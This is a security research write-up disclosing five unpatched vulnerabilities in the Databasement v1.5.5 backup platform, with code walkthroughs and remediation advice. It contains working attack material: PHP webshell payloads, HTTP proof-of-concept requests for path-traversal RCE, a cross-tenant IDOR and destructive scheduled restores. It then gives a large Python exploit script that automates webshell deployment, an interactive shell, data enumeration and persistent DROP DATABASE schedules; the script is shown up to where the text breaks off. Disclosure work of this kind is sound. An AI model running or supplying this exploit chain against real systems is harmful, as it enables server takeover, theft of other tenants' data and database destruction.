Breaking Databasement: From IDOR to RCE in a Backup Management Platform

Table of Contents
Field Details
Target Databasement v1.5.5
Date July 2026
Researchers @bytejmp, @d0c84

Databasement is an open-source Laravel application for managing database server backups. It supports MySQL, PostgreSQL, MariaDB, SQLite, Redis, MongoDB, SQL Server, and Firebird, with features like scheduled backups, cross-server restores, and multi-tenant organization isolation.

During our security research, we identified five vulnerabilities that, when combined, allow a low-privileged user to exfiltrate data from other tenants, achieve remote code execution on the server, and perform persistent destructive operations against production databases.

All findings were validated dynamically against a running v1.5.5 instance. None have been patched as of the time of writing.

TL;DR

Five vulnerabilities in Databasement v1.5.5 chain together for full server compromise from a demo account:

# Finding Severity CWE
1 SQLite restore path traversal — write webshell to webroot via schema_name → RCE Critical (9.9) CWE-22, CWE-94
2 Snapshot IDOR — API leaks all tenants’ snapshots (missing OrganizationScope) Critical (9.1) CWE-639
3 Demo users can trigger production backups Medium (6.5) CWE-862
4 Demo users can execute destructive restores (DROP DATABASE) Medium (6.5) CWE-862
5 Demo users can create persistent scheduled restores (survives account removal) Medium (6.5) CWE-862

Bottom line: A demo user with zero write privileges can exfiltrate all tenants’ data, get a shell on the server, and plant persistent destructive schedules that keep running after their account is removed.

Table of Contents

  1. Remote Code Execution via SQLite Restore Path Traversal
  2. Cross-Tenant Data Exfiltration via Snapshot IDOR
  3. Demo Users Can Trigger Production Backups
  4. Demo Users Can Execute Destructive Database Restores
  5. Demo Users Can Create Persistent Scheduled Restores

1. Remote Code Execution via SQLite Restore Path Traversal

Field Details
Severity Critical
CVSS 9.9 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected versions v1.0.0 through v1.5.5
CWE CWE-22 — Path Traversal, CWE-94 — Code Injection

The Bug

When restoring a SQLite snapshot, the schema_name parameter specifies the destination file path. This value passes through the entire restore pipeline — from API input to RestoreTask to copy() — without any path validation. An attacker can write arbitrary files anywhere the application user has access.

When combined with a malicious SQLite database containing a PHP webshell embedded in a text column, this becomes a one-request RCE.

Vulnerable Code Walkthrough

The vulnerability spans four layers. Let’s trace the data flow from user input to file write.

Layer 1 — Input validation (or lack thereof). The RestoreRequest delegates validation to DatabaseType::databaseNameRules():

// app/Http/Requests/Api/V1/RestoreRequest.php:29-32
public function rules(): array
{
    $server = $this->route('database_server');
    return [
        'snapshot_id' => ['required', 'string', 'exists:snapshots,id'],
        'schema_name' => $server->database_type->databaseNameRules(),
    ];
}

For SQLite, the rules are effectively non-existent:

// app/Enums/DatabaseType.php:161-168
public function databaseNameRules(): array
{
    return match ($this) {
        self::SQLITE => ['required', 'string', 'max:255'],  // Any string up to 255 chars -- no path restriction
        self::FIREBIRD => ['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9_\/\\\\.\-: ]+$/'],
        default => ['required', 'string', 'max:64', 'regex:/^[a-zA-Z0-9_]+$/'],
    };
}

Other database types enforce regex:/^[a-zA-Z0-9_]+$/ — alphanumeric and underscores only. SQLite has no format restriction. Paths like /app/public/shell.php or ../../../../etc/cron.d/backdoor pass validation.

Layer 2 — The API controller passes the value straight through. No sanitization occurs between validation and job dispatch:

// app/Http/Controllers/Api/V1/DatabaseServerController.php:195-221
public function restore(
    RestoreRequest $request,
    DatabaseServer $databaseServer,
    BackupJobFactory $backupJobFactory
): JsonResponse {
    $this->authorize('restore', $databaseServer);

    $snapshot = Snapshot::findOrFail($request->validated('snapshot_id'));

    $restore = $backupJobFactory->createRestore(
        snapshot: $snapshot,
        targetServer: $databaseServer,
        schemaName: $request->validated('schema_name'),  // User input passed directly
        triggeredByUserId: $userId
    );

    ProcessRestoreJob::dispatch($restore->id);
    // ...
}

Layer 3 — RestoreTask uses it as-is. The schemaName from RestoreConfig DTO flows into prepareDatabase() and restore():

// app/Services/Backup/RestoreTask.php:80-97
$database = $this->databaseProvider->makeFromConfig(
    $target,
    $config->schemaName,    // Attacker-controlled path
    $this->getConnectionHost($target),
    $this->getConnectionPort($target),
    // ...
);

$this->prepareDatabase($database, $config->schemaName, $logger, $config->forceDatabase);
// ...
$result = $database->restore($workingFile);

Layer 4 — SqliteDatabase::restore() writes the file via copy(). The sqlite_path config value — derived from schemaName — becomes the destination of a raw file copy:

// app/Services/Backup/Databases/SqliteDatabase.php:147-180
public function restore(string $inputPath): DatabaseOperationResult
{
    // ... SFTP branch omitted ...

    $targetPath = $this->config['sqlite_path'];           // Attacker-controlled destination
    if (! @copy($inputPath, $targetPath)) {               // Arbitrary file write
        throw new RestoreException("Failed to copy SQLite file {$inputPath} to {$targetPath}");
    }
    chmod($targetPath, 0640);

    return new DatabaseOperationResult(log: new DatabaseOperationLog(
        'Restored local SQLite database',
        'success',
        ['path' => $this->config['sqlite_path']],
    ));
}

And prepareForRestore() is a no-op for SQLite — it doesn’t validate the path either:

// app/Services/Backup/Databases/SqliteDatabase.php:182-185
public function prepareForRestore(string $schemaName, BackupLogger $logger, bool $forceDatabase = false): void
{
    // SQLite doesn't need database preparation — the file is replaced during restore
}

The Attack Chain

Step 1 — Create the malicious SQLite database:

CREATE TABLE payload(code TEXT);
INSERT INTO payload VALUES('<?php system($_GET["c"]); ?>');

When this .db file is later written with a .php extension into the web root, the PHP tag inside the text column becomes executable. SQLite files are binary, but PHP’s parser ignores binary noise before <?php.

Step 2 — Upload via SFTP backup:

Register a database server pointing to the malicious SQLite file and back it up to a volume. This creates a legitimate snapshot containing the weaponized database.

Step 3 — Restore with path traversal:

POST /api/v1/database-servers/<sqlite_server_id>/restore HTTP/1.1
Host: localhost
Authorization: Bearer <token>
Content-Type: application/json

{
  "snapshot_id": "<malicious_snapshot_id>",
  "schema_name": "/app/public/pwned.php"
}

Response:

{
  "message": "Restore started successfully!",
  "restore": {
    "schema_name": "/app/public/pwned.php",
    "job": {"status": "pending"}
  }
}

The queue worker processes the restore. At SqliteDatabase.php:170, copy() writes the malicious SQLite file to /app/public/pwned.php.

Step 4 — Execute commands:

GET /pwned.php?c=id HTTP/1.1
Host: localhost

uid=1000(application) gid=1000(application) groups=1000(application)

Full OS command execution as the application user. From here, reading /app/.env dumps database credentials, API keys, and the APP_KEY used for encryption.

Impact

  • Remote code execution as the application user
  • Full server compromise — read .env, access databases, pivot to internal network
  • Can be chained with Finding #2 (IDOR) to use victim snapshots as the payload vector

Remediation

  1. Add path validation to DatabaseType::databaseNameRules() for SQLite. Reject absolute paths, .. sequences, and null bytes:
// app/Enums/DatabaseType.php — databaseNameRules()
self::SQLITE => [
    'required', 'string', 'max:255',
    'regex:/^[a-zA-Z0-9_\/.\-]+$/',           // Restrict character set
    function ($attribute, $value, $fail) {
        if (str_starts_with($value, '/')) {
            $fail('Absolute paths are not allowed.');
        }
        if (str_contains($value, '..')) {
            $fail('Path traversal sequences are not allowed.');
        }
    },
],
  1. In SqliteDatabase::restore(), resolve the target path against a whitelisted base directory and verify it stays within bounds:
// app/Services/Backup/Databases/SqliteDatabase.php — restore()
$targetPath = realpath(dirname($this->config['sqlite_path']))
    . '/' . basename($this->config['sqlite_path']);
$allowedBase = config('backup.sqlite_base_path', '/data');
if (!str_starts_with($targetPath, $allowedBase)) {
    throw new RestoreException("Target path outside allowed directory");
}
  1. Consider a dedicated SqliteDatabaseNameRule class to centralize this validation and reuse it across both the API and Livewire restore flows.

2. Cross-Tenant Data Exfiltration via Snapshot IDOR

Field Details
Severity Critical
CVSS 9.1 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Affected versions v1.2.0 through v1.5.5
CWE CWE-639 — Authorization Bypass Through User-Controlled Key

The Bug

Databasement is a multi-tenant application where organizations are isolated from each other. Each model is scoped through a global OrganizationScope that filters queries to the current user’s organization. The Snapshot model, however, lacks this scope entirely.

Any authenticated user — regardless of role or organization — can list and access every snapshot in the system through the API.

Vulnerable Code Walkthrough

The pattern every other model follows — DatabaseServer registers the scope in its booted() method:

// app/Models/DatabaseServer.php:48-50
protected static function booted(): void
{
    static::addGlobalScope(new OrganizationScope);  // Tenant isolation enforced
}

Volume does the same:

// app/Models/Volume.php:27-29
protected static function booted(): void
{
    static::addGlobalScope(new OrganizationScope);  // Tenant isolation enforced
}

But Snapshot does not. Its booted() method only handles cascade deletes — it never registers the scope:

// app/Models/Snapshot.php:157-173
protected static function booted(): void
{
    // Delete the backup file, associated restores and job when snapshot is deleted
    static::deleting(function (Snapshot $snapshot) {
        if (! $snapshot->skipFileCleanup) {
            $snapshot->deleteBackupFile();
        }
        foreach ($snapshot->restores as $restore) {
            $restore->delete();
        }
        $snapshot->job->delete();
    });
    // MISSING: static::addGlobalScope(new OrganizationScope);
}

Note that the import exists at line 8 (use App\Models\Scopes\OrganizationScope;), but it’s only referenced in a manual query scope at line 186, never as a global scope. This suggests the developer was aware of the scope but didn’t apply it.

The API controller doesn’t compensate. SnapshotController delegates to SnapshotQuery::make() for listing:

// app/Http/Controllers/Api/V1/SnapshotController.php:20-27
public function index(Request $request): AnonymousResourceCollection
{
    $perPage = min($request->integer('per_page', 15), 100);
    $snapshots = SnapshotQuery::make()->paginate($perPage);  // No organization filter applied
    return SnapshotResource::collection($snapshots);
}

And SnapshotQuery::make() builds the query without any organization filter:

// app/Queries/SnapshotQuery.php:34-57
public static function make(): QueryBuilder
{
    return QueryBuilder::for(Snapshot::class)   // MISSING: ->forCurrentOrg()
        ->with(self::RELATIONSHIPS)
        ->allowedFilters(...)
        ->defaultSort('-started_at');
}

Interestingly, the Livewire version (buildFromParams) does apply the org filter:

// app/Queries/SnapshotQuery.php:73-76
$query = Snapshot::query()
    ->with(self::RELATIONSHIPS);
$query->forCurrentOrg();  // Present only in the Livewire path

This means the web UI is scoped correctly, but the API is wide open. The show() action is equally unprotected — it uses Laravel’s route model binding which resolves the snapshot globally:

// app/Http/Controllers/Api/V1/SnapshotController.php:32-37
public function show(Snapshot $snapshot): SnapshotResource
{
    $snapshot->load(['databaseServer', 'backup', 'volume', 'triggeredBy', 'job']);
    return new SnapshotResource($snapshot);
    // No ownership check -- any user can access any snapshot by ID
}

Proof of Concept

Setup: Two organizations exist — “Default” and “Org Victim”. The attacker ([email protected]) belongs only to “Default”. Org Victim has snapshots containing sensitive databases like secret_production_db and victim_secret_data.

Step 1 — List all snapshots across all tenants:

GET /api/v1/snapshots HTTP/1.1
Host: localhost
Authorization: Bearer <attacker_token>
Accept: application/json

Response:

{
  "data": [
    {"id": "01ks1f717gr0rhc0q38x8jhsdq", "database_name": "secret_production_db"},
    {"id": "01KS1H9T57P4RGMCWC0PFYND4M", "database_name": "victim_secret_data"},
    {"id": "01KS1J7YEATDN4T8DBP5YTS22C", "database_name": "internal_reports"},
    {"id": "01ks1hryzxw6zhxwszt549n5s1", "database_name": "databasement"},
    ...
  ]
}

The attacker sees all 10 snapshots, including 3 from Org Victim. No authorization boundary exists.

Step 2 — Access a victim’s snapshot directly:

GET /api/v1/snapshots/01ks1f717gr0rhc0q38x8jhsdq HTTP/1.1
Host: localhost
Authorization: Bearer <attacker_token>

Returns full snapshot metadata including database server ID, backup configuration, and file location. Combined with the restore endpoint, the attacker could restore victim data to their own server.

Impact

  • Full enumeration of all tenants’ backup metadata
  • Cross-tenant data exfiltration via restore to attacker-controlled server
  • Violation of tenant isolation — the core security boundary of a multi-tenant SaaS

Remediation

  1. Register the global scope in Snapshot::booted():
// app/Models/Snapshot.php — add inside booted()
static::addGlobalScope(new OrganizationScope);
  1. Add ->forCurrentOrg() to SnapshotQuery::make() to match the Livewire path:
// app/Queries/SnapshotQuery.php — SnapshotQuery::make()
return QueryBuilder::for(Snapshot::forCurrentOrg())
  1. Add an ownership check in SnapshotController::show() to prevent direct access by ID:
// app/Http/Controllers/Api/V1/SnapshotController.php
public function show(Snapshot $snapshot): SnapshotResource
{
    $this->authorize('view', $snapshot);  // Add policy check
    // ...
}

3. Demo Users Can Trigger Production Backups

Field Details
Severity Medium
CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-862 — Missing Authorization

The Bug

The Demo role (privilege level 0, the lowest in the hierarchy) is designed for read-only access — letting prospects explore the UI without modifying data. However, the authorization policy explicitly grants demo users permission to trigger backups.

Vulnerable Code Walkthrough

Databasement defines four roles with a clear hierarchy:

// app/Enums/UserRole.php:60-67
public function level(): int
{
    return match ($this) {
        self::Demo => 0,     // Lowest — intended as read-only
        self::Viewer => 1,
        self::Member => 2,
        self::Admin => 3,
    };
}

The Demo role is excluded from assignable roles in the UI, suggesting it’s meant for special, restricted use cases:

// app/Enums/UserRole.php:47-49
public static function assignable(): array
{
    return [self::Viewer, self::Member, self::Admin];  // Demo excluded
}

But the DatabaseServerPolicy::backup() method explicitly includes demo users:

// app/Policies/DatabaseServerPolicy.php:99-108
/**
 * Determine whether the user can run a backup.
 * Demo users can trigger backups.       // <-- The comment says it all
 */
public function backup(User $user, DatabaseServer $databaseServer): bool
{
    if ($databaseServer->backups_enabled === false || $databaseServer->backups->isEmpty()) {
        return false;
    }

    return $user->isDemo() || $user->canPerformActions();
    //     ^^^^^^^^^^^^^^^^
    //     Demo users bypass the role check entirely
}

The canPerformActions() method requires at least Member level, but the isDemo() check short-circuits this:

// app/Models/User.php:178-180
public function isDemo(): bool
{
    return $this->currentOrgRole() === UserRole::Demo;
}

The API controller relies on this policy:

// app/Http/Controllers/Api/V1/DatabaseServerController.php:160-162
public function backup(Request $request, DatabaseServer $databaseServer, TriggerBackupAction $action): JsonResponse
{
    $this->authorize('backup', $databaseServer);  // Passes for demo users
    // ... triggers full database dump
}

Proof of Concept

POST /api/v1/database-servers/<server_id>/backup HTTP/1.1
Host: localhost
Authorization: Bearer <demo_user_token>
Accept: application/json

Response:

{
  "message": "Backup started successfully!",
  "snapshots": [
    {
      "database_name": "/config/webshell.db",
      "database_type": "sqlite",
      "method": "manual",
      "job": {"status": "pending"}
    }
  ]
}

The backup job is queued and processed. The demo user now has a downloadable snapshot of the production database.

Impact

  • Demo users exfiltrate full production database dumps
  • Violates the principle of least privilege — a read-only role performing write operations
  • Particularly dangerous in public demo instances (e.g., demo.databasement.com)

Remediation

Remove the $user->isDemo() bypass from DatabaseServerPolicy::backup():

// app/Policies/DatabaseServerPolicy.php:108 — change from:
return $user->isDemo() || $user->canPerformActions();

// to:
return $user->canPerformActions();

Demo users should only pass viewAny() and view() checks. Any write operation (backup, restore, create, update, delete) should require at least Member level via canPerformActions().

4. Demo Users Can Execute Destructive Database Restores

Field Details
Severity Medium
CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE CWE-862 — Missing Authorization

The Bug

The same pattern extends to restores. A restore operation performs DROP DATABASE followed by recreating and importing data. A demo user can destroy any database their organization has access to.

Vulnerable Code Walkthrough

The restore authorization has the same isDemo() bypass at two levels.

Server-level policy:

// app/Policies/DatabaseServerPolicy.php:111-118
/**
 * Determine whether the user can restore to a server.
 * Demo users can trigger restores.       // <-- Intentional, per the comment
 */
public function restore(User $user, DatabaseServer $databaseServer): bool
{
    return $user->isDemo() || $user->canPerformActions();
    //     ^^^^^^^^^^^^^^^^
    //     Demo can trigger DROP DATABASE
}

Restore-level policy:

// app/Policies/RestorePolicy.php:29-37
/**
 * Determine whether the user can start a new restore or schedule one.
 * Demo users can create both. Final authorization on the target server
 * is still checked via DatabaseServerPolicy@restore.
 */
public function create(User $user): bool
{
    return $user->isDemo() || $user->canPerformActions();
    //     ^^^^^^^^^^^^^^^^
    //     Demo can create restore records
}

The comment at line 31-32 explicitly states “Demo users can create both” — this is a deliberate design decision, not an oversight. The developer assumed that “final authorization on the target server” would be sufficient, but since DatabaseServerPolicy::restore() also allows demo users, both gates are open.

Proof of Concept

POST /api/v1/database-servers/<mysql_server_id>/restore HTTP/1.1
Host: localhost
Authorization: Bearer <demo_user_token>
Content-Type: application/json

{
  "snapshot_id": "<snapshot_id>",
  "schema_name": "testdb"
}

Response:

{
  "message": "Restore started successfully!",
  "restore": {
    "schema_name": "testdb",
    "target_server": {"name": "Local MySQL"},
    "job": {"status": "pending"}
  }
}

The queue worker executes DROP DATABASE testdb and restores from the snapshot. The demo user just destroyed a production database.

Impact

  • Demo users destroy production databases via DROP DATABASE
  • Data loss and service disruption
  • No audit trail distinguishing legitimate admin restores from demo user abuse

Remediation

Remove the $user->isDemo() bypass from both policies:

// app/Policies/DatabaseServerPolicy.php:117 — change from:
return $user->isDemo() || $user->canPerformActions();
// to:
return $user->canPerformActions();

// app/Policies/RestorePolicy.php:36 — change from:
return $user->isDemo() || $user->canPerformActions();
// to:
return $user->canPerformActions();

5. Demo Users Can Create Persistent Scheduled Restores

Field Details
Severity Medium
CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE CWE-862 — Missing Authorization

The Bug

The scheduled-restores API endpoint has no role check against demo users. Once created, a scheduled restore runs automatically on a cron schedule (e.g., daily at 02:00), repeatedly executing DROP DATABASE + restore without any further user interaction.

Vulnerable Code Walkthrough

The ScheduledRestoreController::store() delegates authorization to RestorePolicy::create():

// app/Http/Controllers/Api/V1/ScheduledRestoreController.php:53-61
public function store(SaveScheduledRestoreRequest $request): JsonResponse
{
    $this->authorize('create', ScheduledRestore::class);  // Checks RestorePolicy

    $scheduledRestore = ScheduledRestore::create($request->validated());

    return (new ScheduledRestoreResource($scheduledRestore))
        ->response()
        ->setStatusCode(201);
}

As we saw in Finding #4, RestorePolicy::create() allows demo users. But the damage multiplier here is that every other operation on scheduled restores is also allowed:

// app/Policies/RestorePolicy.php:44-63

// Update
public function update(User $user, ScheduledRestore $restore): bool
{
    return $user->isDemo() || $user->canPerformActions();  // Demo bypasses role check
}

// Delete
public function delete(User $user, Restore|ScheduledRestore $restore): bool
{
    return $user->isDemo() || $user->canPerformActions();  // Demo bypasses role check
}

// Run immediately
public function run(User $user, ScheduledRestore $restore): bool
{
    return $user->isDemo() || $user->canPerformActions();  // Demo bypasses role check
}

A demo user can: create a scheduled restore, modify it, trigger it immediately, and — crucially — the schedule persists after the demo user’s account is removed. The ScheduledRestore model is not tied to the creating user; it belongs to the organization and continues executing on cron.

Proof of Concept

POST /api/v1/scheduled-restores HTTP/1.1
Host: localhost
Authorization: Bearer <demo_user_token>
Content-Type: application/json

{
  "name": "Demo-Destructive-Schedule",
  "source_server_id": "<mysql_server_id>",
  "source_database_name": "databasement",
  "target_server_id": "<mysql_server_id>",
  "schema_name": "testdb",
  "backup_schedule_id": "<daily_schedule_id>",
  "enabled": true
}

Response:

{
  "data": {
    "id": "01kw0jwfamqjjtgxbxd5a2jknd",
    "name": "Demo-Destructive-Schedule",
    "enabled": true,
    "last_executed_at": null
  }
}

The scheduled restore is now active. Every day at 02:00, the system will automatically DROP DATABASE testdb and restore from the specified snapshot. Even after the demo user’s access is revoked, the schedule persists and continues executing.

Impact

  • Persistent destructive operations that survive user removal
  • Repeated daily DROP DATABASE execution
  • Silent data destruction — admins may not notice until data is lost

Remediation

Remove $user->isDemo() from all methods in RestorePolicy:

// app/Policies/RestorePolicy.php — apply to create(), update(), delete(), run()
// Change every instance of:
return $user->isDemo() || $user->canPerformActions();
// to:
return $user->canPerformActions();

Additionally, consider adding a created_by_user_id foreign key to the ScheduledRestore model so that schedules can be audited and automatically disabled when their creator is removed from the organization.

Attack Chain: From Demo to Full Compromise

These findings can be chained for maximum impact:

Demo User Account (privilege level 0)
    |
    |--[Finding #3]----> Trigger backup -> obtain production database dump
    |
    |--[Finding #2]----> IDOR -> access snapshots from other tenants
    |
    |--[Finding #1]----> Path traversal restore -> write webshell -> RCE
    |                     |
    |                     \---> Read /app/.env -> DB credentials, APP_KEY
    |
    \--[Finding #5]----> Create scheduled restore -> persistent daily DROP DATABASE
                          |
                          \---> Survives account removal -- no user FK on schedule

A demo user with zero write privileges can: exfiltrate all tenants’ data, achieve remote code execution, and set up persistent destructive schedules that continue running after their account is removed.

Exploit — databasement_pwn.py

The following script automates the full chain. It supports four modes:

  • --idor — enumerate and dump all cross-tenant snapshots (Finding #2)
  • --command "CMD" — deploy webshell via path traversal and execute a single command (Findings #1 + #3)
  • --shell — deploy webshell and drop into an interactive shell (Findings #1 + #3)
  • --persist — plant a scheduled destructive restore (Finding #5)
#!/usr/bin/env python3
"""
databasement_pwn.py — Databasement v1.5.5 Exploit Chain
Chains IDOR (CVE: CWE-639), Path Traversal RCE (CWE-22/CWE-94),
and Demo AuthZ Bypass (CWE-862) for full server compromise.

Usage:
  python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --command "id"
  python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --shell
  python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --idor
  python3 databasement_pwn.py -t http://192.168.0.1 -u "[email protected]" -p "password" --persist
"""

import argparse
import sys
import time
import random
import string
import sqlite3
import tempfile
import os

import readline
import requests
from urllib.parse import unquote


class DatabasementExploit:
    def __init__(self, target, email, password, verify_ssl=False):
        self.target = target.rstrip("/")
        self.email = email
        self.password = password
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.session.headers.update({
            "Accept": "application/json",
            "Content-Type": "application/json",
            "Referer": self.target,
        })

    def log(self, msg, level="*"):
        colors = {"*": "\033[34m", "+": "\033[32m", "!": "\033[31m", "~": "\033[33m"}
        color = colors.get(level, "\033[0m")
        print(f"  {color}[{level}]\033[0m {msg}")

    def _xsrf_token(self):
        """Extract decrypted XSRF token from session cookies."""
        return unquote(self.session.cookies.get("XSRF-TOKEN", ""))

    def api(self, method, path, **kwargs):
        url = f"{self.target}{path}"
        headers = kwargs.pop("headers", {})
        headers["X-XSRF-TOKEN"] = self._xsrf_token()
        resp = self.session.request(method, url, headers=headers, **kwargs)
        return resp

    # ── Authentication ──────────────────────────────────────────────

    def authenticate(self):
        self.log("Authenticating via Sanctum (cookie + XSRF)...")

        # Get CSRF cookie
        self.session.get(f"{self.target}/sanctum/csrf-cookie")

        # Login with XSRF header — session cookie is set on success
        resp = self.api("POST", "/login", json={
            "email": self.email,
            "password": self.password,
        })

        if resp.status_code not in (200, 204):
            self.log(f"Login failed: {resp.status_code} — {resp.text[:100]}", "!")
            sys.exit(1)

        self.log(f"Authenticated as {self.email}", "+")
        return True

    # ── Finding #2: IDOR ────────────────────────────────────────────

    def exploit_idor(self):
        self.log("Exploiting Snapshot IDOR (CWE-639)...")

        snapshots = []
        page = 1

        while True:
            resp = self.api("GET", f"/api/v1/snapshots?per_page=100&page={page}")
            if resp.status_code != 200:
                self.log(f"Failed to list snapshots: {resp.status_code}", "!")
                return snapshots

            data = resp.json()
            batch = data.get("data", [])
            if not batch:
                break

            snapshots.extend(batch)
            page += 1

            if not data.get("links", {}).get("next"):
                break

        self.log(f"Dumped {len(snapshots)} snapshots across ALL tenants", "+")

        for snap in snapshots:
            db_name = snap.get("database_name", "unknown")
            snap_id = snap.get("id", "unknown")
            db_type = snap.get("database_type", "unknown")
            server = snap.get("database_server") or {}
            server_name = server.get("name") if isinstance(server, dict) else None
            org = snap.get("organization") or {}
            org_name = org.get("name") if isinstance(org, dict) else None
            extra = f" | org: {org_name}" if org_name else ""
            extra += f" | server: {server_name}" if server_name else ""
            self.log(f"  {snap_id} | {db_name} | {db_type}{extra}")

        return snapshots

    # ── Finding #1 + #3: RCE Chain ──────────────────────────────────

    def _create_malicious_sqlite(self):
        """Create SQLite DB with PHP webshell embedded in a text column."""
        tmp = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
        tmp.close()

        conn = sqlite3.connect(tmp.name)
        cursor = conn.cursor()
        cursor.execute("CREATE TABLE payload(code TEXT)")
        cursor.execute(
            "INSERT INTO payload VALUES(?)",
            ('<?php if(isset($_GET["c"])){system($_GET["c"]);}?>',)
        )
        conn.commit()
        conn.close()

        self.log(f"Created malicious SQLite: {tmp.name}", "+")
        return tmp.name

    def _find_sqlite_server(self):
        """Find an existing SQLite database server, or None."""
        resp = self.api("GET", "/api/v1/database-servers?per_page=100")
        if resp.status_code != 200:
            return None

        for server in resp.json().get("data", []):
            if server.get("database_type") == "sqlite":
                self.log(f"Found SQLite server: {server['id']} ({server.get('name', '')})", "+")
                return server

        return None

    def _find_sqlite_snapshot(self):
        """Find a completed snapshot from a SQLite database server."""
        resp = self.api("GET", "/api/v1/snapshots?per_page=100")
        if resp.status_code != 200:
            return None

        for snap in resp.json().get("data", []):
            if snap.get("database_type") != "sqlite":
                continue
            job = snap.get("job") or {}
            status = job.get("status", "") if isinstance(job, dict) else ""
            if status == "completed":
                self.log(f"Found completed SQLite snapshot: {snap['id']}", "+")
                return snap

        return None

    def _trigger_backup(self, server_id):
        """Trigger backup on given server (Finding #3: demo users can do this)."""
        self.log(f"Triggering backup on server {server_id}...")
        resp = self.api("POST", f"/api/v1/database-servers/{server_id}/backup")

        if resp.status_code != 200:
            self.log(f"Backup trigger failed: {resp.status_code}", "!")
            return None

        data = resp.json()
        snapshots = data.get("snapshots", [])
        if snapshots:
            snap_id = snapshots[0].get("id")
            self.log(f"Backup started, snapshot: {snap_id}", "+")
            return snap_id

        return None

    def _wait_for_snapshot(self, snapshot_id, timeout=60):
        """Poll snapshot status until completed."""
        self.log(f"Waiting for snapshot {snapshot_id} to complete...")
        start = time.time()

        while time.time() - start < timeout:
            resp = self.api("GET", f"/api/v1/snapshots/{snapshot_id}")
            if resp.status_code == 200:
                status = resp.json().get("data", resp.json()).get("job", {}).get("status", "")
                if status == "succeeded":
                    self.log("Snapshot completed", "+")
                    return True
                if status == "failed":
                    self.log("Snapshot failed", "!")
                    return False
            time.sleep(2)

        self.log("Snapshot timed out", "!")
        return False

    def _restore_to_webroot(self, server_id, snapshot_id, webshell_path="/app/public/pwned.php"):
        """Restore snapshot to arbitrary path via path traversal (Finding #1)."""
        self.log(f"Restoring snapshot to {webshell_path} (path traversal)...")

        resp = self.api("POST", f"/api/v1/database-servers/{server_id}/restore", json={
            "snapshot_id": snapshot_id,
            "schema_name": webshell_path,
        })

        if resp.status_code not in (200, 201, 202):
            self.log(f"Restore failed: {resp.status_code} — {resp.text[:200]}", "!")
            return False

        self.log("Restore dispatched, waiting for queue worker...", "+")
        time.sleep(5)
        return True

    def _verify_webshell(self, shell_name):
        """Check if webshell is accessible and execute test command."""
        shell_url = f"{self.target}/{shell_name}"
        self.log(f"Checking webshell at {shell_url}...")

        try:
            resp = requests.get(f"{shell_url}?c=id", verify=False, timeout=10)
            if "uid=" in resp.text:
                output = self._exec_cmd(shell_name, "id")
                self.log(f"RCE confirmed: {output}", "+")
                return True
        except requests.RequestException:
            pass

        self.log("Webshell not reachable yet (queue worker may be slow)", "~")
        return False

    def _deploy_webshell(self):
        """Deploy webshell via SQLite path traversal. Returns shell URL path or None."""
        self.log("Step 1: Looking for SQLite server + snapshot...")

        sqlite_server = self._find_sqlite_server()
        snapshot = self._find_sqlite_snapshot()

        if not sqlite_server:
            self.log("No SQLite server found — need one configured in the target", "!")
            return None

        server_id = sqlite_server["id"]

        if not snapshot:
            self.log("No SQLite snapshot found, triggering backup (Finding #3)...")
            snap_id = self._trigger_backup(server_id)
            if not snap_id:
                return None
            self._wait_for_snapshot(snap_id)
            snapshot_id = snap_id
        else:
            snapshot_id = snapshot["id"]

        shell_name = f"{''.join(random.choices(string.ascii_lowercase, k=8))}.php"
        webshell_path = f"/app/public/{shell_name}"

        self.log(f"Step 2: Path traversal restore → {webshell_path}")
        if not self._restore_to_webroot(server_id, snapshot_id, webshell_path):
            return None

        self.log("Step 3: Verifying webshell...")
        for _ in range(5):
            if self._verify_webshell(shell_name):
                return shell_name
            time.sleep(3)

        self.log("Webshell deployment may have succeeded but is not reachable", "~")
        self.log(f"Try manually: curl '{self.target}/{shell_name}?c=id'", "~")
        return None

    def _exec_cmd(self, shell_name, cmd):
        """Execute a command with markers to extract clean output from SQLite binary noise."""
        shell_url = f"{self.target}/{shell_name}"
        marker = "DBMNT_" + "".join(random.choices(string.ascii_uppercase, k=8))
        wrapped = f"echo {marker}_START; ({cmd}) 2>&1; echo {marker}_END"
        try:
            resp = requests.get(shell_url, params={"c": wrapped}, verify=False, timeout=30)
            text = resp.content.decode("utf-8", errors="replace")
            start = text.find(f"{marker}_START")
            end = text.find(f"{marker}_END")
            if start != -1 and end != -1:
                output = text[start + len(f"{marker}_START"):end].strip()
                return output if output else "(no output)"
            return text.strip()
        except requests.RequestException as e:
            return f"Error: {e}"

    def exploit_command(self, command):
        """Deploy webshell and execute a single command."""
        self.log("Starting RCE chain (Findings #1 + #3)...")
        shell_name = self._deploy_webshell()
        if not shell_name:
            return False

        self.log(f"Executing: {command}", "+")
        output = self._exec_cmd(shell_name, command)
        print(f"\n{output}\n")
        return True

    def exploit_shell(self):
        """Deploy webshell and drop into interactive mode."""
        self.log("Starting RCE chain (Findings #1 + #3)...")
        shell_name = self._deploy_webshell()
        if not shell_name:
            return False

        shell_url = f"{self.target}/{shell_name}"
        print(f"\n\033[32m[+] Shell ready — type 'exit' to quit\033[0m")
        print(f"\033[32m[+] Target: {shell_url}\033[0m\n")

        while True:
            try:
                cmd = input("\033[31mshell>\033[0m ")
            except (EOFError, KeyboardInterrupt):
                print()
                break

            if cmd.strip().lower() in ("exit", "quit"):
                break

            output = self._exec_cmd(shell_name, cmd)
            print(output)

    # ── Finding #5: Persistent Scheduled Restore ────────────────────

    def exploit_persist(self):
        self.log("Creating persistent scheduled restore (Finding #5)...")

        # Find a server with backups configured
        resp = self.api("GET", "/api/v1/database-servers?per_page=100")
        if resp.status_code != 200:
            self.log(f"Failed to list servers: {resp.status_code}", "!")
            return False

        target_server = None
        schedule_id = None
        for srv in resp.json().get("data", []):
            backups = srv.get("backups", [])
            if backups:
                schedule = backups[0].get("backup_schedule", {})
                sid = schedule.get("id") if isinstance(schedule, dict) else None
                if sid:
